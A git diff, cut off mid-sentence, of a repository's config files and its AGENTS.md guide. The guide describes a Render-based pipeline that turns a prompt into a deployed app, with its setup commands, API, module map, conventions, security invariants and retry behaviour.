diff --git a/.dockerignore b/.dockerignore index 365f097..54b5d73 100644 --- a/.dockerignore +++ b/.dockerignore @@ -8,4 +8,3 @@ dist .git .claude docs -v2 diff --git a/.env.example b/.env.example index ab38c07..29df9a1 100644 --- a/.env.example +++ b/.env.example @@ -36,6 +36,8 @@ RENDER_WORKSPACE_ID= # Optional. Defaults to https://mcp.render.com/mcp. RENDER_MCP_URL= +# Optional. Defaults to https://api.github.com. +GITHUB_API_URL= # GitHub credentials — pick one. Both need Contents: write on APPS_REPO. # diff --git a/AGENTS.md b/AGENTS.md index 33398d7..e97eb64 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,552 +1,649 @@ -# Repository guide for agents +# Repository guide for agents and contributors -This file applies to the entire repository. +This file applies to the entire repository. It holds the conventions, the +invariants (the canonical list of safety boundaries), and the checklists for +changing the code. For setup, read +[docs/0_QUICKSTART.md](docs/0_QUICKSTART.md). To follow one run through the +code, read [docs/2_ARCHITECTURE.md](docs/2_ARCHITECTURE.md). ## What this is `vibe-code-demo` turns one authenticated prompt into a deployed application on Render. It is a reference architecture for wiring a vibe-coding product to -Render Workflows, Sandboxes, Blueprints, Postgres, and the Render MCP server — -optimized to be read, not to be a framework. - -The path is: a caller POSTs a prompt, the gateway validates and dispatches it, -and a workflow designs the app against Render primitives, gathers openly -licensed imagery, and builds a storefront and an API in an isolated sandbox. -Then the `verify-app` subtask verifies them, and the `publish-app` subtask -copies them into a clone of the apps repository in a sandbox of its own, and -commits them with a Blueprint that Render deploys. A delete goes -the other way: `DELETE /v1/apps/:runId` claims every run of the run's app, and -the `delete-app` task runs one subtask for each step: it takes the app out of -the Blueprint, waits until no Blueprint sync can bring its Render resources -back, deletes them, and removes its files. +Render Workflows, Sandboxes, Blueprints, Postgres, and the Render MCP server. +It is written to be read, not to be a framework. -Two processes deploy independently: - -- `app/server.ts` — Hono gateway web service. -- `app/host.ts` — Render Workflows host and task registration. - -The gateway runs no models, holds no repository token, and creates or deletes -no infrastructure. Agents never write to GitHub and never call a Render write -API. Only `publish-app`, and the two steps of `delete-app` that push, write to -GitHub. The only Render write calls are the deletes in `app/teardown.ts`, and -only `delete-app-resources`, a step of the `delete-app` task, makes them. -Repository execution happens in a Render Sandbox. The sandbox that the agents -use holds only the app of the run: no clone of the apps repository, and no -credential. Each push clones the repository in a sandbox that no agent uses. +A caller posts a prompt. The gateway validates it and starts the +`prompt-to-app` workflow task. The workflow designs the app against Render +primitives, downloads openly licensed photos, and has an agent build the app in +an isolated sandbox. The `verify-app` subtask checks the build, and the +`publish-app` subtask copies it into a clone of the apps repository in a +separate sandbox and commits it with a Blueprint that Render deploys. -## Quick start - -Requires Node 22+, Docker for local Postgres, the Render CLI for -`dev:workflows`, and Render, GitHub, and Anthropic credentials. - -```bash -npm ci -cp .env.example .env # then fill it in -``` +A delete runs the other way. `DELETE /v1/apps/:runId` claims every run of +that run's app, and the `delete-app` task runs one subtask per step: take the +app out of the Blueprint, wait until no Blueprint sync can bring its resources +back, delete the resources, and remove its files. -Run each in its own terminal: +Two processes deploy independently: -```bash -npm run dev:postgres -npm run db:migrate -npm run dev:gateway -npm run dev:workflows -``` +- `app/server.ts`: the Hono gateway web service. +- `app/host.ts`: the Render Workflows host, which registers every task. -The gateway listens on `0.0.0.0:${PORT:-3000}`. `GET /health` is liveness, -`GET /ready` checks Postgres and is the Render health-check target, prompts -arrive at `POST /v1/apps`, runs are polled at `GET /v1/apps/:runId`, and -`DELETE /v1/apps/:runId` deletes the app of a run, with all of its runs. Local -workflow runs create real Render Sandboxes and deploy, and delete, real -services. +The gateway runs no models, holds no repository credential, and creates or +deletes no infrastructure. Agents never write to GitHub and never call a +Render write API. Only `publish-app` and the two pushing steps of `delete-app` +write to GitHub. The only Render write calls are the deletes in +`app/teardown.ts`, made only by the `delete-app-resources` step. Code that +agents write runs in a Render Sandbox that holds only the app being built, +with no clone of the apps repository and no credential. Each push clones the +repository in a separate sandbox that no agent uses. -`dev:gateway` sets `RENDER_USE_LOCAL_DEV=true`, so the local gateway starts -tasks on the `dev:workflows` task server, which finds a task by its name and -ignores the slug. Set that variable only in `dev:gateway`, never in `.env`: -the workflows host loads `.env` too and must use the Render API. +## Running and verifying changes -Verify a change with `npm run check` (Biome, `tsc`, Vitest). For one file: -`npx vitest run tests/blueprint.test.ts`. Validate this repository's own -Blueprint with `render blueprints validate` when `render.yaml` changes. +Setup is in [docs/0_QUICKSTART.md](docs/0_QUICKSTART.md). The commands you +need while changing code: -`npm run doctor` diagnoses a live deployment and is read-only. When you add a -required environment variable, a task name, or a schema object, add a check for -it there — that script is where setup mistakes get caught. - -`npm run demo` runs the end-to-end demo against a live gateway. +- `npm run check` runs Biome, `tsc`, and Vitest. Run it before you finish. +- `npx vitest run tests/blueprint.test.ts` runs one file. +- `render blueprints validate` validates this repository's `render.yaml`. + Run it when you change that file. +- `npm run doctor` diagnoses a live deployment and is read-only. When you add + a required environment variable, a task name, or a schema object, add a + check for it there. That script is where setup mistakes get caught. +- `npm run demo` runs the end-to-end demo against a live gateway. Production entrypoints are `npm run start:gateway` and -`npm run start:workflows`. `render.yaml` creates both services and the -database in the `vibe-factory` project, and sets the gateway's -`RENDER_WORKFLOW_SLUG` from the workflow with `fromService`. Keep that -environment's network isolation off: an isolated workflow cannot reach the -database. The generated-apps repository needs a one-time Blueprint watching -`main:render.yaml` with Auto Sync enabled, in the `RENDER_WORKSPACE_ID` -workspace: `findBlueprint` looks only there. - -The gateway also serves a browser UI at `/`. It is protected by HTTP Basic -Auth (`UI_USERNAME` and `UI_PASSWORD`) and submits through `/ui/apps`, which -keeps `FACTORY_API_KEY` server-side. Do not expose a browser route that bypasses -this protection. The authenticated `UI_USERNAME` is a validated lowercase slug -and is injected as the app namespace; never accept a browser-supplied `user`. -`GET /ui/apps` lists only that namespace's runs, `DELETE /ui/apps/:runId` -deletes only a run in that namespace, and the UI restores selection from local -storage while treating Postgres as the source of truth. - -Runs build in parallel, up to `maxConcurrentRuns`. The UI disables the submit -button only while the gateway accepts a prompt. It reads `GET /ui/apps` again -every 5 seconds while a run or a delete is in progress, and renders the -history and the selected run from that list. It does not poll each run, so -the list reconciles each run that a task owns, as `GET /ui/apps/:runId` does. -Keep the error of a submit in the form and the error of a delete in its -dialog: each refresh renders the run panel again. - -The UI has two views of the same runs, and each has a button that opens the -other. The classic view at `/` explains each stage in a tooltip. The table -view at `/table` shows the sites in a table, with each URL, the time that each -run took, and a delete button. It shows the stages in a table that tells what -each stage does, where it runs, and how long it took, with links to the -workflow run and the sandbox in the Render Dashboard. A timer counts the -seconds of the stage that runs now. `setRunStage()` adds each stage that a run -goes into, with the time, to `stage_history`. The gateway gives each item the -time that it stopped: when the next item started, or when the run stopped. A -stage that the run goes into again, as building after a failed verification, -shows the sum of its times. `public/runs.js` has what the views share; -`app.js` and `table.js` render only what differs. The gateway builds the links -from IDs in Postgres and gives null for a link that it cannot make: the SDK -does not give the ID of a subtask run, so each stage links to the run of -`prompt-to-app`, and a workspace with more than one sandbox group gets no -sandbox link. +`npm run start:workflows`. + +Environment gotchas: + +- `npm run dev:gateway` sets `RENDER_USE_LOCAL_DEV=true`, so the local gateway + starts tasks on the `dev:workflows` task server, which finds a task by name + and ignores the slug. Set that variable only there, never in `.env`: the + workflows host also loads `.env` and must use the Render API. +- `render.yaml` creates both services and the database in the `vibe-factory` + project, and sets the gateway's `RENDER_WORKFLOW_SLUG` from the workflow + with `fromService`. Keep that environment's network isolation off: an + isolated workflow cannot reach the database. +- The workflow service in `render.yaml` sets `repo:` to the upstream + repository, because a workflow service in a Blueprint needs it. A fork must + change it to the fork's URL. +- The apps repository needs a one-time Blueprint watching `main:render.yaml` + with Auto Sync on, in the `RENDER_WORKSPACE_ID` workspace. `findBlueprint()` + looks only there. + +## The HTTP API and browser UI + +The gateway listens on `0.0.0.0:${PORT:-3000}`. `GET /health` is liveness, +`GET /ready` checks Postgres and is the Render health check, prompts arrive at +`POST /v1/apps`, runs are read at `GET /v1/apps/:runId`, and +`DELETE /v1/apps/:runId` deletes the run's app with all of its runs. The full +reference is in +[docs/2_ARCHITECTURE.md](docs/2_ARCHITECTURE.md#gateway). + +The browser UI at `/` and `/table` is protected by HTTP Basic Auth +(`UI_USERNAME`, `UI_PASSWORD`) and submits through `/ui/apps`, which keeps +`FACTORY_API_KEY` on the server. Rules for UI changes: + +- Do not add a browser route that bypasses Basic Auth. +- The signed-in `UI_USERNAME` is a validated lowercase slug and is injected as + the app namespace. Never accept a `user` from the browser. + `GET /ui/apps` lists only that namespace's runs, and + `DELETE /ui/apps/:runId` deletes only a run in that namespace. +- Postgres is the source of truth. The UI restores the selected run from + local storage, but renders from the server's list. +- The UI polls only `GET /ui/apps`, every 5 seconds while a run or delete is + in progress, and renders the history and the selected run from that list. + So the list handler must reconcile each task-owned run, as + `GET /ui/apps/:runId` does. +- Keep a submit error in the form and a delete error in its dialog. Each + refresh re-renders the run panel and would erase an error shown there. +- Runs build in parallel, up to `maxConcurrentRuns`. The UI disables the + submit button only while the gateway is accepting a prompt. + +The two views share `public/runs.js`; `app.js` (classic view, `index.html`) +and `table.js` (table view, `table.html`) render only what differs. Each view +links to the other. `setRunStage()` appends each stage a run enters, with its +start time, to `stage_history`, and the gateway gives each item an end time: +when the next item started, or when the run stopped. A stage entered more than +once, such as building after a failed verification, shows the sum of its +times. The gateway builds Dashboard links from IDs in Postgres and returns +`null` for a link it cannot make: the SDK does not return subtask run IDs, so +every stage links to the `prompt-to-app` run, and a workspace with more than +one sandbox group gets no sandbox link. ## Repository map Each concern is one file under `app/`. There are no barrels, no path aliases, -and no SDK layer — imports are relative with `.js` extensions (NodeNext). +and no SDK wrapper layer. Imports are relative, with `.js` extensions +(NodeNext). -The dependency direction is one-way: +Imports flow one way: ```text sandbox → tools → claude → agents → stages → workflow ``` The stages are `build`, `verify`, `publish`, `deploy`, and `delete`. -`workflow` runs them, `deploy` uses `build`, `verify`, and `publish`, `build` -uses `verify`, and `delete` uses `publish`. `policy` is imported by `claude` -and defines the MCP allowlist; `deploy` uses its `redactSecrets()` for the -logs of a failed deploy. `render` is imported by `claude` (for the MCP -URL), by `teardown`, and by `deploy` and `delete`. `blueprint`, `git`, -`images`, `teardown`, and `store` are used by `workflow` and the stages; -`teardown` uses `render` and `blueprint`; `gateway` uses `store`, `policy`, -`contracts`, and `render`, for the workflow ID of the Dashboard links. `contracts` is a leaf, and `config` uses only its `slug` -schema. Adding an edge that points backwards is a design smell. +`workflow` runs them. `deploy` uses `build`, `verify`, and `publish`; `build` +uses `verify`; `delete` uses `publish`. + +The supporting modules: + +- `contracts`, `policy`, `store`, and `sandbox` import nothing else in `app/`. + `config` imports only the `slug` schema from `contracts`. +- `policy` defines the MCP allowlist and the path and redaction rules. `tools`, + `claude`, `agents`, `deploy`, and `gateway` import it. +- `render` is imported by `claude` (for the MCP URL), `deploy`, `delete`, + `teardown`, and `gateway` (for the workflow ID in Dashboard links). +- `git` (clone, commit, push), `files` (copying an app's files as data), and + `github` (credentials) are used by the stages: `publish` uses all three, + `verify` uses `git` and `files`, and `workflow` uses `git` for + `initAppDir()`. +- `blueprint`, `images`, `templates`, `teardown`, and `store` are used by + `workflow` and the stages. `teardown` uses `render` and `blueprint`. +- `gateway` uses `store`, `policy`, `contracts`, `config`, and `render`. + +Adding an import that points backwards is a design smell. ```text -factory.config.ts Directories, branch, plans, asset hosts, model tiers +factory.config.ts Directories, branch, plans, asset hosts, concurrency cap, model tiers app/ config.ts Environment parsing and per-process validation contracts.ts Zod schemas for API input, agent output, and the stored spec - gateway.ts Bearer auth, body cap, dispatch, health, status + gateway.ts Auth, body cap, dispatch, status, reconciliation, run formatting agents.ts The three agents, their prompts, and agentTask() - claude.ts The Agent type, runClaude(), md, agentJson - tools.ts Sandbox tools and the Tool contract - policy.ts checkToolCall, path rules, MCP allowlist, secret redaction + claude.ts The Agent type, runClaude(), md, agentJson() + tools.ts The sandbox tools and the Tool contract + policy.ts checkToolCall(), path rules, the MCP allowlist, redactSecrets() sandbox.ts Render Sandboxes, shellEscape, Postgres in the sandbox - blueprint.ts render.yaml generation — the only path that creates resources - render.ts REST reads of services, deploys, logs, Blueprints; HTTP probes - teardown.ts Deletes of a deleted app — the only Render write API calls - git.ts Clone, .gitignore, the copy of an app between sandboxes, - commit, push, verify, GitHub credentials - store.ts Postgres: one runs table - templates.ts Read a template and materialize it into the sandbox - images.ts Photographs from Wikimedia Commons for an app + blueprint.ts render.yaml generation: the only path that creates resources + render.ts REST reads of services, deploys, logs, and Blueprints; HTTP probes + teardown.ts Deletes an app's resources: the only Render write API calls + git.ts Clone, commit, push and verify, .gitignore generation, + initAppDir(), removeIgnored() + files.ts readAppFiles(), appFiles(), writeAppFiles(), MAX_APP_BYTES: + copying an app's files between sandboxes as data + github.ts GitHub App JWT and installation tokens, the PAT fallback: + githubToken(), usingGitHubApp() + store.ts Postgres: the runs table, claims, and app locks + templates.ts Read a template and write it into the sandbox + images.ts Photos from Wikimedia Commons for an app workflow.ts The prompt-to-app and delete-app pipelines - build.ts The builder rounds with verify-app, and the builder message - verify.ts verify-app: build, boot, and query the app in the sandbox + build.ts The builder rounds with verify-app, and the builder's message + verify.ts verify-app: build, boot, and query the app; runVerification() publish.ts publish-app, and each clone, change, commit, and push deploy.ts The deploy wait, the deploy repair, and the smoke checks delete.ts The four steps of delete-app schema.sql Schema, applied by scripts/migrate.ts server.ts Gateway entrypoint host.ts Workflows entrypoint -public/ Basic-Auth-protected prompt and deployment-status UI: - runs.js (shared), index.html + app.js (classic view), - table.html + table.js (table view) +public/ The Basic Auth UI: runs.js (shared), index.html + app.js + (classic view), table.html + table.js (table view) templates/ fullstack/ web/ (Vite + React + Tailwind + shadcn/ui), api/ (Hono + pg) scripts/ migrate, doctor, demo, support -tests/ agents, blueprint, contracts, gateway, git, github-auth, - host, images, policy, render, shell, store, teardown, - templates, tools, workflow +tests/ agents, blueprint, contracts, files, gateway, git, + github-auth, host, images, policy, render, shell, store, + teardown, templates, tools, workflow ``` -There is no `tasks.ts`, `scaffold.ts`, `shell.ts`, `github.ts`, or `format.ts`: -`agentTask()` lives in `agents.ts`, `shellEscape` beside the only thing that -executes a command in `sandbox.ts`, GitHub credentials in `git.ts`, and run -formatting in `gateway.ts`. The builder chooses its own stack, so there is no -skeleton to scaffold — the manifest it returns is what gets deployed. +There is no `tasks.ts`, `scaffold.ts`, `shell.ts`, or `format.ts`. +`agentTask()` lives in `agents.ts`, `shellEscape` sits beside the only code +that executes a command in `sandbox.ts`, and run formatting is in +`gateway.ts`. The builder chooses its own stack, so there is no skeleton to +scaffold: the manifest it returns is what gets deployed. ## Conventions - Strict TypeScript, ESM, NodeNext. Include `.js` in relative imports. -- Validate external and workflow input with Zod before use. +- Validate external and workflow input with Zod before using it. - Use `md` for dedented multi-line prompts. -- Escape shell arguments with `shellEscape`; use `execGitWithToken` for +- Escape shell arguments with `shellEscape`. Use `execGitWithToken` for authenticated Git. - Write each free-form manifest value into a Blueprint with `yamlString`. One value that breaks the YAML stops the deploy of every app in the root Blueprint. -- Keep dispatch payloads small and JSON-serializable. +- Keep task inputs and results small and JSON-serializable. The Dashboard + shows them. - Comments explain intent and constraints, not what the next line does. -- Add or update tests with behavior changes. Never call live Render, GitHub, - Postgres, model, or Commons APIs from tests. +- Add or update tests with every behavior change. Tests never call live + Render, GitHub, Postgres, model, or Commons APIs. +- Test behavior, not implementation: go through public entry points, fake + only the systems at the edge, and assert what a user or operator sees, not + exact messages, SQL text, or call counts. One test per behavior, named as a + sentence. Keep the suite near a hundred tests; replace a test rather than + add a near-duplicate. +- Helpers that outgrow a file belong in a new `app/.ts`, not in a + subdirectory. ## Invariants -Do not weaken these without an explicit security-model change: +This is the canonical list of the factory's safety boundaries. Other documents +link here instead of restating it. Do not weaken any of these without an +explicit change to the security model, and update this list when you change +one. + +**Gateway and input** - One deployment is bound to one validated `APPS_REPO` and one branch. -- Only a request carrying the correct bearer token starts a run, and the token - is compared in constant time. -- Browser submissions require valid UI Basic Auth. UI handlers reuse the same - validation and claim path as `/v1`; no factory bearer token enters an HTML - or JavaScript response. +- Only a request with the correct bearer token starts a run, and the token is + compared in constant time. +- Browser requests require valid Basic Auth. The UI handlers reuse the same + validation and claim path as `/v1`, and no HTML or JavaScript response + contains the factory bearer token. - The body is capped before it is parsed. -- Agents receive only the tools listed in their definition. Claude's built-in - `Bash`, `Read`, `Write`, and `Edit` are never granted — `claude.ts` always - passes `tools: []` for built-ins. -- The architect gets no sandbox tools and only Render MCP tools from - `RENDER_READ_ONLY_TOOLS`. `checkToolCall` denies every other Render tool, so - the allowlist is enforced twice. -- No agent reads Render logs. `RENDER_READ_ONLY_TOOLS` has no log tool, so - `checkToolCall` denies `list_logs` too. Logs can hold secrets, and the - factory cannot redact what an agent reads. In a deploy repair round, - workflow code reads the logs of each failed deploy with `fetchDeployLogs()` - and gives them to the deploy manager in its input. The Render Dashboard - shows each task input, so `failedDeployReport()` applies `redactSecrets()` - first, and then cuts the logs to `MAX_DEPLOY_LOG_CHARS`. Do not cut first: - a cut can divide a secret, and the redaction does not find a part of one. +- The UI submits, lists, and deletes only in its own `UI_USERNAME` + namespace. +- The gateway never receives the GitHub credential or the Anthropic key. +- Secret-shaped strings, including anything shaped like a Postgres + connection string, are redacted from everything the API returns. + +**Agents and tools** + +- Agents receive only the tools listed in their definition. Claude's + built-in Bash, Read, Write, and Edit are never granted: `runClaude()` always + passes `tools: []`. +- The Claude subprocess gets only the environment variables in + `ENV_ALLOWLIST`, which has no Render or GitHub credential. - Only the builder gets sandbox tools. +- The architect and the deploy manager get only Render MCP tools from + `RENDER_READ_ONLY_TOOLS`. `checkToolCall()` denies every other Render tool, + so the allowlist is enforced twice. +- No agent reads Render logs. `RENDER_READ_ONLY_TOOLS` has no log tool, so + `checkToolCall()` denies `list_logs` too. Logs can hold secrets, and the + factory cannot redact what an agent reads directly. In a deploy repair + round, workflow code reads each failed deploy's logs with + `fetchDeployLogs()` and gives them to the deploy manager in its input. The + Dashboard shows every task input, so `failedDeployReport()` applies + `redactSecrets()` first and only then cuts the logs to + `MAX_DEPLOY_LOG_CHARS`. Do not cut first: a cut can split a secret, and the + redaction cannot find half of one. - Every agent-supplied path is resolved against the workflow-owned `workDir` - on `ToolContext`, which is the app directory, and must land inside it or - `/tmp`. `checkToolCall` and the tool both check it. `sandbox__exec` always - `cd`s there first: the exec API starts in `/`, so an unresolved relative path - builds an application outside the app directory that no commit can ever see. - These rules keep the file tools on one app, but they cannot limit a shell - command. The next invariant does that. -- The sandbox that the agents and `verify-app` use holds only the app of the - run. `initAppDir()` makes the app directory in a repository with no remote. - No clone of the apps repository and no credential goes into that sandbox: - the builder can run any command there, leave a process that runs, and change - git itself. -- The image download in `app/images.ts` accepts HTTPS only, allowlisted hosts - only, and `image/*` only, under the size cap. It writes only into the - `assets/` directory of the app, under a name that it makes. -- `sandboxId` comes from workflow code, never from the model. -- The GitHub token never goes into a task input, because the Render Dashboard - shows the input of every task run, and never into the sandbox of a build. - `publish-app` reads the files of the app from that sandbox as data: - `readAppFiles()` packs what a commit of the app directory holds, and accepts - only regular files with plain paths below it, up to `MAX_APP_BYTES`. Then - `publish-app` gets the token itself, and clones, writes the files, commits, - and pushes in a sandbox that no agent uses. -- The clone checks out a symbolic link as a plain file (`core.symlinks=false`), - so no write of the factory can follow a link that an earlier commit put in - the repository. + on `ToolContext`, which is the app directory, and must land inside it or + `/tmp`. Both `checkToolCall()` and the tool itself check this. + `sandbox__exec` always `cd`s into the app directory first: the exec API + starts in `/`, and a relative path would otherwise build an app outside the + directory that gets committed. These rules keep the file tools on one app, + but they cannot limit a shell command. The next invariant does that. +- `checkToolCall()` does not inspect shell commands. A pattern cannot tell a + safe command from a harmful one; the sandbox's contents limit what a command + can reach. `sandbox__exec` still bounds every command to 10 minutes so a + foreground development server cannot hold a run slot for the parent's full + two-hour deadline. +- `sandboxId` and `workDir` come from workflow code, never from a model. +- Structured agent output is validated with Zod and fails closed after one + repair attempt (`agentJson()`). +- A failed Render deploy status is never overridden by an agent. If the + deploy manager lists no failures, the run ends as `deploy_failed`. + +**The build sandbox** + +- The sandbox the agents and `verify-app` use holds only the app being + built. `initAppDir()` creates the app directory in a repository with no + remote. No clone of the apps repository and no credential ever enters that + sandbox: the builder can run any command there, leave a process running, + and modify `git` itself. +- The agent-authored build, pre-deploy, and start commands run only in that + sandbox and in the app's own services on Render. Neither place holds a + factory credential. +- The image download in `app/images.ts` accepts only HTTPS, only hosts in + `factoryConfig.assets.allowedHosts`, and only `image/*` responses. It + follows redirects itself and checks the protocol and host of every hop + (`allowedUrl()`), refuses a declared length over `assets.maxBytes`, and + stops reading once the body passes it. It writes only into the app's + `assets/` directory, under a name the code makes. + +**Publishing** + +- The GitHub token never goes into a task input, because the Dashboard shows + every task input, and never into the build sandbox. +- `publish-app` reads the app's files from the build sandbox as data. + `readAppFiles()` packs what a commit of the app directory would hold, and + `appFiles()` accepts only regular files with plain paths below it, up to + `MAX_APP_BYTES`. Then `publish-app` gets the token itself, and clones, + writes the files, commits, and pushes in a sandbox no agent uses. +- The clone checks out symbolic links as plain files (`core.symlinks=false`), + so no factory write can follow a link that an earlier commit put in the + repository. - A commit changes only `apps///` and the root `render.yaml`. `commitPaths()` stages only these paths, and `pushVerified()` refuses a - commit that changes a different path, before each attempt. This is true for - `publish-app` and for the two steps of `delete-app` that push. -- The root Blueprint comes from the `factory.json` of each app in the clone of - the push. `readAllSpecs()` accepts a spec only in the directory of the app - that it names, so a file in one app directory cannot declare the resources - of a different app. -- Infrastructure is created only by committing a Blueprint, and agents cannot - publish: their sandbox has no clone and no token. The only Render write API - calls are the deletes in - `app/teardown.ts`, and only `delete-app-resources`, a step of `delete-app`, - makes them. The gateway starts only `delete-app`, and `removeApp()` runs - that step only after a push has taken the app out of the root Blueprint, and - when `wait-for-blueprint-syncs` finds no sync of the Blueprint that waits or - runs. They delete only a service or - database in the app's own project whose name starts with the app's stem, and - then the project, which Render deletes only when it is empty. -- A delete claims every run of one app, and `claimRunApp` claims an app name - for a run. Both take the same Postgres advisory lock. So no run builds an app - while a delete of it is in progress, a delete is refused while a run of the - app is running, and no two runs build the same app at one time. -- Verification is workflow-owned. The `verify-app` subtask runs the same - install, build, and pre-deploy commands the Blueprint gives Render, against - a real Postgres running in the sandbox, and `publish-app` runs only after it - passes. A health endpoint must answer with the database unreachable, because - Render calls it before Postgres is ready; a `dataCheckPath` must return - rows, because nothing else proves the schema was applied or the seed loaded. -- `node_modules/` and static-site build output are not committed. - `appGitignore()` makes each app's `.gitignore` from its manifest: - `node_modules/`, and each static site's publish directory below its - `rootDir`, never the service directory itself. `verify()` writes it and deletes every ignored file before it - builds, so it builds from the same files that Render's fresh clone gets. + commit that changes any other path, before every push attempt. This holds + for `publish-app` and for both pushing steps of `delete-app`. +- The root Blueprint is built from the `factory.json` of each app in the + push's clone. `readAllSpecs()` accepts a spec only in the directory of the + app it names, so one app's directory cannot declare another app's + resources. - The push is verified against the remote SHA before the factory waits on a - deploy. -- The sandbox is terminated in a `finally` block. -- Secret-shaped strings, including connection strings, are redacted from - anything leaving the API. + deploy, so Render always builds the commit that passed verification. + +**Infrastructure** + +- Infrastructure is created only by committing a Blueprint, and agents + cannot publish, because their sandbox has no clone and no token. +- The only Render write API calls are the deletes in `app/teardown.ts`, made + only by `delete-app-resources`, a step of `delete-app`. The gateway starts + only `delete-app`, and `removeApp()` runs that step only after a push has + taken the app out of the root Blueprint and `wait-for-blueprint-syncs` has + found no pending or running sync. The deletes remove only services and + databases in the app's own project whose names start with the app's stem, + and then the project, which Render deletes only when it is empty. + +**State and concurrency** + +- `runs.idempotency_key` is unique, so a retried request cannot start a + second run. +- `claimRun()` caps concurrent runs at `factoryConfig.maxConcurrentRuns` with + a conditional insert, serialized by a transaction-scoped Postgres advisory + lock so two requests cannot both take the last slot. +- A delete claims every run of one app, and `claimRunApp()` claims an app + name for a run. Both take the same per-app advisory lock. So no run builds + an app while it is being deleted, a delete is refused while a run of the + app is running, and no two runs build the same app at once. - Render filesystems are ephemeral. Cross-process state goes in Postgres. +**Verification** + +- Verification is workflow-owned. `verify-app` runs the same install, build, + and pre-deploy commands the Blueprint gives Render, against a real Postgres + in the sandbox, and `publish-app` runs only after it passes. A health + endpoint must answer with the database unreachable, because Render calls it + before Postgres is ready. A `dataCheckPath` must return rows, because + nothing else proves the schema was applied and the seed loaded. +- `node_modules/` and static-site build output are not committed. + `appGitignore()` builds each app's `.gitignore` from its manifest: + `node_modules/`, plus each static site's publish directory below its + `rootDir`, never the service directory itself. `verify()` writes it and + deletes every ignored file before it builds, so it builds from the same + files Render's fresh clone gets. +- The sandbox is terminated in a `finally` block. + ## Durability -There is no step memoization. A failed run is not resumed; the caller retries -by posting the prompt again. The gateway persists the Render task-run ID. -While a caller polls a run, or the UI polls its list of runs, the gateway -marks a run failed when its task run failed or was canceled, so an -interrupted task cannot leave a database row `running` forever. A task that succeeds writes its result before it returns, so the -gateway does not read the result. Long service, deploy, and HTTP -waits heartbeat `progress`; keep those waits bounded. +There is no step memoization. A failed run is not resumed; the caller tries +again by posting the prompt again. The gateway stores the Render task-run ID. +Whenever a caller reads a run, or the UI lists runs, the gateway checks the +task run and marks the row failed if the task failed or was canceled, so an +interrupted task cannot leave a row `running` forever. A task that succeeds +writes its result before it returns, so the gateway never reads results. Long +service, deploy, and HTTP waits heartbeat `progress`; keep those waits +bounded. Render Workflows does not retry a failed run either: `prompt-to-app` sets -`retry: { maxRetries: 0, waitDurationMs: 0 }` in place of the default three -retries. Each retry starts again at the architect with a new sandbox, and after -a push it can deploy a second app with a new name. The catch in `promptToApp` -sets the row to `failed` before the retry starts. Thus `claimRun` does not -count the retry, the gateway does not reconcile it, and its result can replace -a terminal status. Do not turn these retries on without resumability. - -A transient fault is not a reason to retry the full run. Retry the one call -that failed, with a limit, as `pushVerified` does when another run pushed -first: the clone takes the new tip, and the change of the push runs again. -Each change of the factory is derived from its inputs, so it is never merged. -Agent subtasks keep the default retries: the parent waits for each one, so the -row stays `running` and inside the concurrency limit. - -`verify-app` and `publish-app` set `maxRetries: 0`, so a failed one fails the -run. A retry of `publish-app` after its push finds nothing to commit, and the -run then ends as if the push changed no files. A retry of `verify-app` after a -timeout runs every build again, and a service that the failed attempt started -can still answer on the port of the next boot. - -The service and deploy waits, and the `wait-for-blueprint-syncs` step of a -delete, read Render through `retryRead()` in `app/render.ts`. It does a failed -read again after the poll interval, and it fails after five failures in -sequence, with the last error. It fails at once for a 401 or 403, because a -new attempt cannot repair the API key. `findBlueprint` uses it too, so only a -lookup that finds no Blueprint gives `awaiting_blueprint`. `fetchDeployLogs` -uses it too, but when its reads cannot finish, it gives no logs and does not -fail the run: the logs are only diagnostic. Workflow code reads Render over -REST, which gives typed records. Only the agents use the Render MCP server. - -Postgres enforces two things through constraints rather than application code: -`runs.idempotency_key` is unique, so a retried curl cannot start a second run, -and the conditional insert in `claimRun` caps concurrent runs at -`factoryConfig.maxConcurrentRuns`. +`retry: { maxRetries: 0, waitDurationMs: 0 }` instead of the default three +retries. A retry would start again at the architect with a new sandbox, and +after a push it could deploy a second app under a new name. The catch block in +`promptToApp` sets the row to `failed` before a retry would start, so +`claimRun()` would not count the retry, the gateway would not reconcile it, +and its result could overwrite a final status. Do not turn these retries on +without adding resumability. + +A transient fault is not a reason to retry the whole run. Retry the one call +that failed, with a limit, as `pushVerified()` does when another run pushed +first: the clone takes the new tip, and the push's change is made again. Each +change the factory makes is derived from its inputs, so it is never merged. +Agent subtasks also set `maxRetries: 0` and an explicit deadline. A model +failure or timeout returns to the parent once instead of repeating expensive +tool calls while the row holds a concurrency slot. + +`verify-app` and `publish-app` set `maxRetries: 0`, so a failure fails the +run. A retry of `publish-app` after its push would find nothing to commit, and +the run would end as if the push changed no files. A retry of `verify-app` +after a timeout would run every build again, and a service that the failed +attempt started could still answer on the port of the next boot. + +The service and deploy waits, the Blueprint lookup, and the +`wait-for-blueprint-syncs` step read Render through `retryRead()` in +`app/render.ts`. It retries a failed read after the poll interval, and fails +after five failures in a row with the last error. It fails at once on a 401 or +403, because retrying cannot fix the API key. Because `findBlueprint()` uses +it, only a lookup that completes and finds no Blueprint produces +`awaiting_blueprint`. `fetchDeployLogs()` uses it too, but if its reads cannot +finish it returns no logs instead of failing the run, because the logs are +only diagnostic. Workflow code reads Render over REST, which returns typed +records; only the agents use the Render MCP server. If you add resumability, `ctx.step()` from Render Workflows' Durability 2.0 -API is the seam. Do not rebuild a checkpoint store here. +API is the place to start. Do not build a checkpoint store here. `delete-app` and each of its four steps set `maxRetries: 0`. A failed step -fails the delete. A failed delete marks the runs of the app `delete_failed`, -and the next `DELETE` starts the task again at the first step. Each step reads -the state that an earlier attempt left, so a new attempt does only what is -left. A delete that succeeds removes the rows. The gateway reconciles a -`deleting` row against the delete task in the same way as a `running` row. - -Do not give the steps the default retries. A retry of -`remove-app-from-blueprint` after its push finds nothing to commit, so the -next step does not wait for the push event. A retry of -`wait-for-blueprint-syncs` gives a sync more time than `SYNC_TIMEOUT_MS`. +fails the delete. A failed delete marks the app's runs `delete_failed`, and +the next `DELETE` starts the task again at the first step. Each step reads the +state an earlier attempt left, so a new attempt does only what is left. A +successful delete removes the rows. The gateway reconciles a `deleting` row +against the delete task in the same way as a `running` row. + +Do not give the delete steps the default retries. A retry of +`remove-app-from-blueprint` after its push would find nothing to commit, so +the next step would not wait for the push event. A retry of +`wait-for-blueprint-syncs` would give a sync more time than +`SYNC_TIMEOUT_MS`. ## Add an agent -1. Add it to `app/agents.ts`. `id`, `model`, and `prompt` are required; `id` is - also the registered task name, so 